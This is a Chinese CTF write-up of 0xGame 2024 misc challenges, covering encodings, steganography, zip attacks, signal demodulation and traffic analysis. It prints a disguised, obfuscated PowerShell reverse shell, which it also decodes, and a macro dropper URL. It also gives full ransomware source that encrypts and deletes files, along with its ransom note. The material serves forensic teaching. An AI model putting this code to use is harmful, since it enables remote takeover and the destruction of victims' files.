其中打*的是我出的题

Misc

0xGame2048*

提取一下题目中的关键词”2048”、”base”搜索一下,其实不难找到一种叫做base2048的编码。解密的方法有很多,我这里用的是toolsfx。

img

一明一暗*

这道题在出题时使用的是Bandizip 7.36,默认使用了快速压缩的方法。然而很多师傅的Bandizip默认的是正常压缩,因而在做题时出现了无法执行攻击的问题,这里不是出题人本意o(╥﹏╥)o,出题时并没有想过在这里设置门槛,给师傅们磕一个了。Orz

然而仍然有很多厉害的师傅通过各种方法解出来了,比如挨个尝试各种压缩方法、通过文件大小判断正确的压缩方法、以及直接从attachment.zip中抽去1.zip使其成为一个明文包(膜拜),因此也就没有修改题目。

接下来说一下预期解。

首先将得到的f1ag.jpg压缩成一个明文包,然后使用ARCHPR执行明文攻击。明文攻击时用不着等这个进度条全部走完,只需要到如下状态就可以直接点停止,保存下来的zip文件就是已经解密好的。

img

根据hint.txt的内容可以得知这是一个盲水印,可以在网上找到这样一个工具,直接对flag.png提取就行。

img

img

加密的压缩包?

用010editor查看,压缩包末尾给了一个password,可知这个压缩包原本应该是被加密了的。但是从加密标识位(下图选中部分)来看,这里是被设置成了未加密,因此这里其实是个伪不加密。

img

img

将加密位改为09以后保存,输入密码0xGame2024即可解压

img

img

我的世界基岩版(?*

先说一下预期解:

下载地图模组xaero’s minimap和xaero’s worldmap即可大概看到flag的轮廓,就是地上的那些基岩组成的字。接下来就是实地考察一下+尝试,可以得到flag是0xGame{MC_SErver_4_CTFers}

img

此外还有很多方法也都在预期之内,比如向上搭天梯看、使用tweakeroo模组直接灵魂出窍飞起来看、或者直接开各种各样的外挂都行。

服务器开出来一段时间后,有师傅搭建并维护了出生点物资领取处、天路、铁轨等造福后来的师傅(辛苦了)。但也有一些调皮的师傅,到处插告示牌在上面留假flag或者做假引导,出题人都在发现的第一时间进行了拆除。所以不要再拷打出题人了,那真的不是题目的一部分o(╥﹏╥)o :(

呜呜呜~我再也不敢乱点了*

灵感来源于CVE-2023-38831,当时看到感觉挺有意思的,就当成题出了

不过从解题来说知不知道这个CVE影响其实不大,感兴趣的可以了解一下

题目附件给了一个 somethingGOOD.pcapng 和一个what_is_this.log,打开流量包可以看到是TLS1.3协议的流量:

img

查阅资料可知可以用 key log 文件,也就是what_is_this.log来解密TLS流量,在wireshark中的 编辑->首选项->协议 里找到TLS:

img

之后就能看到http协议传输的 wuyu.zip,可以在 文件->导出对象->HTTP 中提取出来并解压,可以看到introduction.txt 目录下有两个可疑文件,clean_file_rubbish.ps1 以及 introduction.txt .bat

可以先对 introduction.txt .bat 进行分析,里面大部分是注释,真正执行的是当前目录下的ps1脚本文件:

img

于是可以继续分析 clean_file_rubbish.ps1 ,表面上是一个清理文件的功能,但同样这些代码都是被注释掉的,往下拖拉可以看到真正被混淆的powershell代码:

1
2
3
4
5
6
7
8
# just some unordered and garbled characters
$Cx99zNP0yc8btz1DgdjQ4d6Or1WXvNo8ujcqwFC3kgHFE9zERLRSUflsWbCwFagZeNLAt8td0BUZr85MNnhsIJtjt4781b120rrHzFZmMsUAPcAS4tHCiJx9Vst4SWWeSBn8IkFD6e4O6bMfzboKxPZiplfSpAXYD1iHJbuWsDciLYdqfa9TcbYHOWxeR91cFzmnKRYSFU573fAKQqZMCsiaLB2ZMGMlIbshBlb94PHljepzqNuqEo2uRQ0Pg4hLsKE7D4cXoCXuDAUwHPVQm3Jz6KQcfUWAlvGzhQKyzLBXGta8LH6Ua0yL8nFCPU4O3uIh58sIpSPEdxO4HkYZfKSF9ta6hrN2o8YWfbRMIdMHNNgywFv3YVlCzwKWP3suJq7yHHl0O0MW7dtk2t05bteVH0k4O0HOfKLQ4wDPrnwu5Q1d7L6JLvNEC9dAtXx56ACbzCHQMt8ZIaxZeLxWMnB7Q34pe0bmoO1hPZtiRENA4Scp1Gsm = "JExIT1NUID0gIjE5Mi4xNjguOTMuMTMyIjsgJExQT1JUID0gMjMzMzsgJFRDUENsaWVudCA9IE5ldy1PYmplY3QgTmV0LlNvY2tldHMuVENQQ2xpZW50KCRMSE9TVCwgJExQT1JUKTsgJE5ldHdvcmtTdHJlYW0gPSAkVENQQ2xpZW50LkdldFN0cmVhbSgpOyAkU3RyZWFtUmVhZGVyID0gTmV3LU9iamVjdCBJTy5TdHJlYW1SZWFkZXIoJE5ldHdvcmtTdHJlYW0pOyAkU3RyZWFtV3JpdGVyID0gTmV3LU9iamVjdCBJTy5TdHJlYW1Xcml0ZXIoJE5ldHdvcmtTdHJlYW0pOyAkU3RyZWFtV3JpdGVyLkF1dG9GbHVzaCA9ICR0cnVlOyAkQnVmZmVyID0gTmV3LU9iamVjdCBTeXN0ZW0uQnl0ZVtdIDEwMjQ7IHdoaWxlICgkVENQQ2xpZW50LkNvbm5lY3RlZCkgeyB3aGlsZSAoJE5ldHdvcmtTdHJlYW0uRGF0YUF2YWlsYWJsZSkgeyAkUmF3RGF0YSA9ICROZXR3b3JrU3RyZWFtLlJlYWQoJEJ1ZmZlciwgMCwgJEJ1ZmZlci5MZW5ndGgpOyAkQ29kZSA9IChbdGV4dC5lbmNvZGluZ106OlVURjgpLkdldFN0cmluZygkQnVmZmVyLCAwLCAkUmF3RGF0YSAtMSkgfTsgaWYgKCRUQ1BDbGllbnQuQ29ubmVjdGVkIC1hbmQgJENvZGUuTGVuZ3RoIC1ndCAxKSB7ICRPdXRwdXQgPSB0cnkgeyBJbnZva2UtRXhwcmVzc2lvbiAoJENvZGUpIDI+JjEgfSBjYXRjaCB7ICRfIH07ICRTdHJlYW1Xcml0ZXIuV3JpdGUoIiRPdXRwdXRgbiIpOyAkQ29kZSA9ICRudWxsIH0gfTsgJFRDUENsaWVudC5DbG9zZSgpOyAkTmV0d29ya1N0cmVhbS5DbG9zZSgpOyAkU3RyZWFtUmVhZGVyLkNsb3NlKCk7ICRTdHJlYW1Xcml0ZXIuQ2xvc2UoKQ=="

# Don't think too much
$SsuhfRO1wgyokMOlaEmBBcAzcInXG54WdHo9eVpNI9Xhb0kluCXXz5hxYS7pzUgJOfnpV8ZkPMhHNCtTMkSg1Sj32zonCoq4qXXfBsmASttQtGic0mBErHBYS6ROmJohHmnHTYa2ijVwYv8vfzgFLW6rPkY1LpsEVrbfCqc6QFCdo3mzQIkyU1pbPKuH2IDPbkYshWZYoiLxtYBdsGa6ZtvZ8WpbYhmHEcXG4RGhhoLPTnTITmSZJ7rm24GYws75qN4ZOH4Wf9IBSHuRLtOmGVi23anihNphBV8IkTmT6vhChsJwC6HY1zTN4lbA4wmdtEjhSyEF3pY2XLm8RTzIZAkoAiKvzD7V1rLdMa5nUo0c2eDe9wpnJ1qWhOy1GuVYMFI09bVegrdWHlQ4np4GWDAlc8FJhzM6gzRHwbklJmLtPcwm1MFf0vlh9lLqLpMdS586AnnBMuJezW6Tpmta4O5HaDxLsb3S8l3wTxCjoad1BdqAoZa1 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Cx99zNP0yc8btz1DgdjQ4d6Or1WXvNo8ujcqwFC3kgHFE9zERLRSUflsWbCwFagZeNLAt8td0BUZr85MNnhsIJtjt4781b120rrHzFZmMsUAPcAS4tHCiJx9Vst4SWWeSBn8IkFD6e4O6bMfzboKxPZiplfSpAXYD1iHJbuWsDciLYdqfa9TcbYHOWxeR91cFzmnKRYSFU573fAKQqZMCsiaLB2ZMGMlIbshBlb94PHljepzqNuqEo2uRQ0Pg4hLsKE7D4cXoCXuDAUwHPVQm3Jz6KQcfUWAlvGzhQKyzLBXGta8LH6Ua0yL8nFCPU4O3uIh58sIpSPEdxO4HkYZfKSF9ta6hrN2o8YWfbRMIdMHNNgywFv3YVlCzwKWP3suJq7yHHl0O0MW7dtk2t05bteVH0k4O0HOfKLQ4wDPrnwu5Q1d7L6JLvNEC9dAtXx56ACbzCHQMt8ZIaxZeLxWMnB7Q34pe0bmoO1hPZtiRENA4Scp1Gsm))

# If you don’t believe it, you can try it
Invoke-Expression $SsuhfRO1wgyokMOlaEmBBcAzcInXG54WdHo9eVpNI9Xhb0kluCXXz5hxYS7pzUgJOfnpV8ZkPMhHNCtTMkSg1Sj32zonCoq4qXXfBsmASttQtGic0mBErHBYS6ROmJohHmnHTYa2ijVwYv8vfzgFLW6rPkY1LpsEVrbfCqc6QFCdo3mzQIkyU1pbPKuH2IDPbkYshWZYoiLxtYBdsGa6ZtvZ8WpbYhmHEcXG4RGhhoLPTnTITmSZJ7rm24GYws75qN4ZOH4Wf9IBSHuRLtOmGVi23anihNphBV8IkTmT6vhChsJwC6HY1zTN4lbA4wmdtEjhSyEF3pY2XLm8RTzIZAkoAiKvzD7V1rLdMa5nUo0c2eDe9wpnJ1qWhOy1GuVYMFI09bVegrdWHlQ4np4GWDAlc8FJhzM6gzRHwbklJmLtPcwm1MFf0vlh9lLqLpMdS586AnnBMuJezW6Tpmta4O5HaDxLsb3S8l3wTxCjoad1BdqAoZa1

主要是将变量名变得复杂一些+base64加密关键代码,最终解完混淆可以发现执行了一个反弹shell的操作:

1
$LHOST = "192.168.93.132"; $LPORT = 2333; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()

之后计算MD5值就能得到flag:

img

我叫曼波

题目附件给了 encode.py,加密的流程基本都给出了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import random
import base64

flag = "0xGame{This_is_a_fake_flag}"

def real_real_real_random():
random_num = random.randint(1,1000)
return str(random_num)

def RC4(plain,K):
S = [0] * 256
T = [0] * 256
for i in range(0,256):
S[i] = i
T[i] = K[i % len(K)]

j = 0
for i in range(0,256):
j = (j + S[i] + ord(T[i])) % 256
S[i], S[j] = S[j], S[i]

i = 0
j = 0

cipher = []
for s in plain:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
t = (S[i] + S[j]) % 256
k = S[t]
cipher.append(chr(ord(s) ^ k))

return (base64.b64encode("".join(cipher).encode())).decode()

def base3(s):
base3_s = ""
for i in s:
dec_value = ord(i)
base3_c = ""
while dec_value > 0:
base3_c += str(dec_value % 3)
dec_value = dec_value // 3
base3_c = base3_c[::-1].rjust(5,"0")
base3_s += base3_c
return (base3_s)

def manbo_encode(base3_s):
manbo_dict = {"0":"曼波","1":"哦耶","2":"哇嗷"}
manbo_text = ""
for i in base3_s:
manbo_text += manbo_dict[i]
return manbo_text

def encode(i):
flag_part = flag[i:i+1]
a = real_real_real_random()
b = RC4(flag_part,a)
c = base3(b)
d = manbo_encode(c)
return a,d # key:a ciphertext:d

分析一下可以知道先生成随机数用作RC4的KEY,再传入flag_part进行RC4加密,之后进行三进制编码,最后自定义了一个曼波编码,于是可以编写decode.py并进行远程交互:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import base64
from pwn import *

def manbo_decode(d):
manbo_dict = {"曼波":"0","哦耶":"1","哇嗷":"2"}
c = ""
for i in range(0,len(d),2):
c += manbo_dict[d[i:i+2]]
return c

def base3(c):
b = ""
for i in range(0,len(c),5):
b += chr(int(c[i:i+5],base=3))
return b

def RC4(cipher,K):
S = [0] * 256
T = [0] * 256
for i in range(0,256):
S[i] = i
T[i] = K[i % len(K)]

j = 0
for i in range(0,256):
j = (j + S[i] + ord(T[i])) % 256
S[i], S[j] = S[j], S[i]

i = 0
j = 0

plain = []
cipher = base64.b64decode(cipher.encode()).decode()
for s in cipher:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
t = (S[i] + S[j]) % 256
k = S[t]
plain.append(chr(ord(s) ^ k))

return "".join(plain)

def generate():
p.sendlineafter(b"> ",b"1")

def getkey():
p.sendlineafter(b"> ",b"2")
key = p.recvline().decode().replace("\n","")
return key

def getciphertext():
p.sendlineafter(b"> ",b"3")
ciphertext = p.recvline().decode().replace("\n","")
return ciphertext

def decode(k,c):
c2 = manbo_decode(c)
c3 = base3(c2)
pf = RC4(c3,k)
return pf

p = remote("47.98.178.117",1111)

flag = ""
while (1):
generate()
key = getkey()
ciphertext = getciphertext()
part_of_flag = decode(key,ciphertext)
flag += part_of_flag
print (flag)

报告哈基米

题目附件只给了一个 mijiha.png,拖入010 Editor看一下,一眼就能看见文件尾的逆置字符串,再关注一下chunk块就能发现倒数第二个IDAT块未满的情况下还跟了一个IDAT块,不过其实眼神好一些可以直接注意到上方的 txt.ahijim

img

先对文件尾的字符串逆置一下可以得到:

1
Maybe You Need To Know Arnold Cat?

查阅资料可以知道这是猫映射变换,可以进行逆变换,不过需要知道a,b参数以及shuffle_times置乱次数,经过一些尝试可以发现这些参数通过LSB隐写进图片中了,可以用stegsolve,也可以用zsteg:

img

之后编写脚本或者直接在网上找到逆变换脚本即可解出flag前半部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from PIL import Image

def arnold_decode(image,a,b):
decode_image = Image.new(image.mode, image.size)
h,w = image.size
data = image.load()
ddata = decode_image.load()
N = h
for y in range(h):
for x in range(w):
nx = ((a * b + 1) * x - b * y) % N
ny = (y - a * x) % N
ddata[ny, nx] = data[y, x]
return decode_image

img = Image.open("mijiha.png")
origin_img = arnold_decode(img,35,7)
origin_img.show()

img

再分析多出来的chunk块,仔细观察可以发现是zip逆置了,提取出来:

img

解压得到mijiha.txt

1
2
?reppuT sihT sI
2526565031717334081355849302824518400002066054780560033875031426082285618693525319794798626066006125490363219506086284195590452459190680646206136430850230509326192863922658924373311369100100099532515379974605057083065159988318523088554342510823923801250157027140252790785117812414283997607047894726844336402237327944299070706739459672938738683171995926543691983512367190948019577689694975313311316787244413406201168210658030717811912751907802312004909911805602609847391116950248882484065492329404895296665244558410377999740959307786584149849

同样将其整段逆置:

1
2
9489414856877039590479997730148554425666925984049232945604842888420596111937489062065081199094002132087091572191187170308560128611026043144427876131133135794969867759108490917632153891963456295991713868378392769549376070709924497237322046334486274987407067993824142187115870972520417207510521083293280152434558803258138899515603807505064799735152359900010019631133734298562293682916239050320580346316026460860919542540955914826806059123630945216006606268974979135253968165822806241305783300650874506602000048154282039485531804337171305656252
Is This Tupper?

查找Tupper相关资料,发现有在线工具可以直接解,拿到flag后半部分:

img

或者在github上也能找到相关项目https://github.com/cariad/tupper:

img

神秘电波*

搜索一下grc文件,不难发现这是gnuradio图形化设计文件。下载gnuradio后打开即可看到流程图。

img

从constellation object那个模块可以看到,这里是进行了bpsk调制,只不过后面稍微加了一点简单的数学运算。去gnuradio的官方文档可以查到bpsk的解调方法。

img

但是显然这边还得改改,有几点要注意,首先文档中不是像题目中一样从文件输入的,文档中用的是虚拟源,输出也是虚拟的。另外题目中调制时有polyphase clock sync这一步,而题目中没有,所以在解调的时候得加上。因此,预期的解调流程图如下:

img

点击顶上的run,先generate,再execute。这个小窗口刚出来差不多就可以关掉了,以免生成的flag.txt太大。

img

用010 editor可以看到,flag.txt是个二进制文件,每个字节不是00就是01。

img

用脚本将00转换成0,01转换成1

1
2
3
4
5
6
7
8
9
with open('flag.txt','rb') as f:
data=f.read()
res=''
with open('out.txt','w') as f:
for i in data:
if i==0x01:
f.write('1')
elif i==0x00:
f.write('0')

转换出的二进制丢进cyberchef即可看见flag

img

由于解调时一些数据的丢失,这里存在一些乱码。题目提示了flag是标准uuid形式,结合前后不难推断出flag:0xGame{38df7992-6c53-11ef-b522-c8348e2c93c6}

重生之我在南邮当CTF大王

硬玩游戏可以拿到flag2,flag3,flag4,不过flag1可能需要按照许愿树的hint去做

可以在data文件夹中找到各张地图的json数据,一个一个看就会发现所有flag都在里面

flag1:

img

img

flag2:

img

flag3:

img

flag4:

img

上网找找资料可以知道这是兽音编码后的结果:

img

四段拼起来就是flag

Crazy Thursday v me 50 btc*

下载下来的附件中有一个pptm文件,搜索一下可以知道这是一个启用了宏的ppt,查看一下宏代码。

img

(另外这里还有个小彩蛋,移开第二张ppt里的图片可以看到一行字,不过这与题目无关)

img

这里的逻辑是在播放到第二张ppt的时候就从某个服务器上下载summer.exe并运行。

访问一下http://47.239.17.55/summer.exe,下载得到summer.exe。

丢进exeinfope查一下,可以看到这个程序是用python编写的,或者熟悉的可以直接从图标看出来这点。

img

先用pyinstxtractor.py将其拆为pyc文件

img

从拆解出的文件中找到summer.pyc,使用uncompyle6(pip install下载)对其进行反编译,得到python代码。

img

正如在题目描述中所说,这里为了师傅们电脑的安全性,删除了文件加密和原文件删除的相关代码,但是这并不影响做题,接下来在这里贴出未删减版:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import os
import fnmatch
from Crypto.Cipher import DES3
from Crypto.Util.Padding import pad
from Crypto.Util.number import *
from secret import k3y,readme
import base64
def f(dir='.', ext=['.txt', '.zip', '.7z', '.rar', '.gz', '.png', '.jpg', '.bmp', '.gif', '.mp3', '.wav', '.avi', '.doc', '.docx', '.xls', '.xlsx', '.pdf', '.ppt', '.pptx', '.mp4', '.mov', '.flv', '.mkv', '.swf', '.dll', '.sys', '.iso', '.vmdk', '.vhd', '.vhdx', '.ova',]):
ff = []
for ro, di, fi in os.walk(dir):
for ex in ext:
for na in fnmatch.filter(fi, '*' + ex):
fp = os.path.join(ro, na)
ff.append(fp)
return ff
def encrypt1(key, plaintext):
cipher = DES3.new(key, DES3.MODE_ECB)
padded_plaintext = pad(plaintext, DES3.block_size)
ciphertext = cipher.encrypt(padded_plaintext)
return ciphertext
def encrypt2(m):
p=getPrime(256)
q=getPrime(256)
n=p*q
e=65537
m1 = bytes_to_long(m)
c = pow(m1, e, n)
return (n,c)
def release(txt,m):
with open("Oops!.txt",'w') as f:
f.write(txt+'\n\n\n')
f.write(base64.b64encode((str(m[0].bit_length())+str(m[0])+str(m[1].bit_length())+str(m[1])).encode()).decode())
if __name__ == "__main__":
fl = f()
for fi in fl:
with open(fi, 'rb') as f:
data = f.read()
os.remove(fi)
data = encrypt1(k3y, data)
with open(fi+'.encrypted', 'wb') as f:
f.write(data)
msg=encrypt2(k3y)
release(readme,msg)

这里的代码明显是出题人自己手搓的,所以网上是没法找到用于解密的程序的。

接下来阅读一下代码的逻辑,可以看出大概是这样一个过程:查找当前目录下一些特定后缀名的文件–>读取文件内容–>删除原文件–>对文件内容进行3DES加密–>将内容写进一个新的文件,文件名为原文件名加上.encrypted–>对前面一步中3DES时使用的密钥进行RSA加密,并且将RSA使用的n和加密后的密文以特定格式拼接后进行base64编码,以特定格式写入一同释放的文本中。

文本在附件中已经给出,就是Oops!.txt,内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
Hello, w8nn9z! 
Your file has been encrypted!
I have to inform you that due to my special encryption algorithm, all important files on your computer have been encrypted! This means that without a special key provided by me, you will not be able to access these files.
To recover your files, you must follow the following steps:
1. Pay the equivalent of $50 in Bitcoin to the designated Bitcoin address before the next Crazy Thursday. :)
2. After payment is completed, please send the transaction ID and the string at the end of this file via email to st4rr@example.com .
3. After receiving your payment confirmation, I will provide you with the key and the instruction on how to use it.
If payment is not received within 72 hours, the price of the decryption instruction will double. In addition, if you attempt to recover data on your own or do not follow instructions, your files may be permanently deleted. :(
Warning: Do not attempt to unlock files or use third-party tools on your own, as this may result in irreversible data loss. Similarly, any cooperation with law enforcement agencies will result in the destruction of keys, making it impossible to recover files. :(



NTExNjYyMjMyMDc3MDI1MjcxMzk4MzA0OTUyNTUzODUyOTQ0MjM5OTgwNjM5OTExNDYwMTE1NjA0MjQ3OTE2MjU1NjUwMTc0MzAyNTU0NjMwMTk4MjEzMTAxMzk3MDQzMDk0OTYxMjc1OTQ5ODkwOTUwODg5NDM1NDM2ODg2Nzk1OTQwNzYzODY0MjI3MjUzNTQ0MDc2NzUxMTkzMzUwOTE0NjMzOTUyOTEzNTQ0MTQwMzMyNDE4NjYyMjczNzEyNTQ3OTA4OTgxNTY1MzUxNDEzNjU3NTUzMzYxNDcxNjQzOTIwMzc4ODQwOTk2NDI4NDgyMTI3MDEwNTAzMDI2MDY3NTg3MzkyMDAwMDMwNDY1Mzc3MjAzNDQzNTk3MDI3MTE4OTA3MTE2OTE1MTAyODkwOTcwNDYzNzI=

最后的一行base64编码显然就是解密用的关键信息。

需要说明的是,这里用上面的方法去逆向secret.pyc会发现,我们要找的密钥是随机生成的,没法直接得到。secret.py的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Random import get_random_bytes
k3y=b'Summer'+get_random_bytes(18)
readme='''
Hello, w8nn9z!
Your file has been encrypted!
I have to inform you that due to my special encryption algorithm, all important files on your computer have been encrypted! This means that without a special key provided by me, you will not be able to access these files.
To recover your files, you must follow the following steps:
1. Pay the equivalent of $50 in Bitcoin to the designated Bitcoin address before the next Crazy Thursday. :)
2. After payment is completed, please send the transaction ID and the string at the end of this file via email to st4rr@example.com .
3. After receiving your payment confirmation, I will provide you with the key and the instruction on how to use it.
If payment is not received within 72 hours, the price of the decryption instruction will double. In addition, if you attempt to recover data on your own or do not follow instructions, your files may be permanently deleted. :(
Warning: Do not attempt to unlock files or use third-party tools on your own, as this may result in irreversible data loss. Similarly, any cooperation with law enforcement agencies will result in the destruction of keys, making it impossible to recover files. :(
'''

那么来看下怎么分析这串base64编码,当然首先是解码,得到一串数字

1
51166223207702527139830495255385294423998063991146011560424791625565017430255463019821310139704309496127594989095088943543688679594076386422725354407675119335091463395291354414033241866227371254790898156535141365755336147164392037884099642848212701050302606758739200003046537720344359702711890711691510289097046372

通过分析代码得到,这串数字的格式是 n的二进制长度+n+c的二进制长度+c,因此不难进行如下分段

1
2
3
4
511
6622320770252713983049525538529442399806399114601156042479162556501743025546301982131013970430949612759498909508894354368867959407638642272535440767511933
509
1463395291354414033241866227371254790898156535141365755336147164392037884099642848212701050302606758739200003046537720344359702711890711691510289097046372

使用factordb分解一下n,这里在出题时已经提前将p和q提交到了factordb

img

RSA应该不必多说了,网上能找到很多教程,接下来写个脚本解密附件中的autumn.wav.encrypted

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import gmpy2
from Crypto.Util.number import *
from Crypto.Cipher import DES3
from Crypto.Util.Padding import unpad
p=64816076191920076931967680257669007967886202806676552562757735711115285212307
q=102170960652478489355215071707263191814765888101601364955857801471459364198319
n=6622320770252713983049525538529442399806399114601156042479162556501743025546301982131013970430949612759498909508894354368867959407638642272535440767511933
c=1463395291354414033241866227371254790898156535141365755336147164392037884099642848212701050302606758739200003046537720344359702711890711691510289097046372
phi=(p-1)*(q-1)
d=gmpy2.invert(65537,phi)
key=long_to_bytes(pow(c,d,n))
with open('autumn.wav.encrypted','rb') as f:
ciphertext=f.read().strip()
cipher = DES3.new(key, DES3.MODE_ECB)
padded_plaintext = cipher.decrypt(ciphertext)
plaintext = unpad(padded_plaintext, DES3.block_size)
with open('autumn.wav','wb') as f:
f.write(plaintext)

这样就成功得到了autumn.wav。先用010editor看一下,在文件末尾可以发现一串暂时不知道干什么用的密码

img

这里是存在deepsound的隐写,其实有些师傅看了hint就知道了。这里需要将deepsound更新到较新的版本才能提取出来。

img

打开winter.txt,里面看似什么都没有,但实际上有很多空格,这个是snow隐写

img

用前面在010中得到密码提取,得到flag

img

Encrypted file

附件给了一个 secret.php 和一个 Behinder.pcapng,php打开是乱码还不知道有什么用先放一边,先分析流量包,搜搜文件名就大概可以知道是冰蝎流量,网上有很多资料可以参考

流量前面一大段都是用 dirsearch在扫目录,可以发现攻击者找到一个upload.php,之后就是经典的冰蝎流量分析:

img

上传的 shell.php 的作用是对后续的攻击命令进行解密并执行,可以直接用于解密流量里的攻击命令,第一段和第二段分别是在进行密钥协商和返回phpinfo()的命令回显,可以直接从第三段开始往后进行分析

以第三段为例,直接用流量里的 shell.php 进行解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

function Decrypt($data)
{
$key="e45e329feb5d925b";
$bs="base64_"."decode";
$after=$bs($data."");
for($i=0;$i<strlen($after);$i++) {
$after[$i] = $after[$i]^$key[$i+1&15];
}
return $after;
}

$shell = "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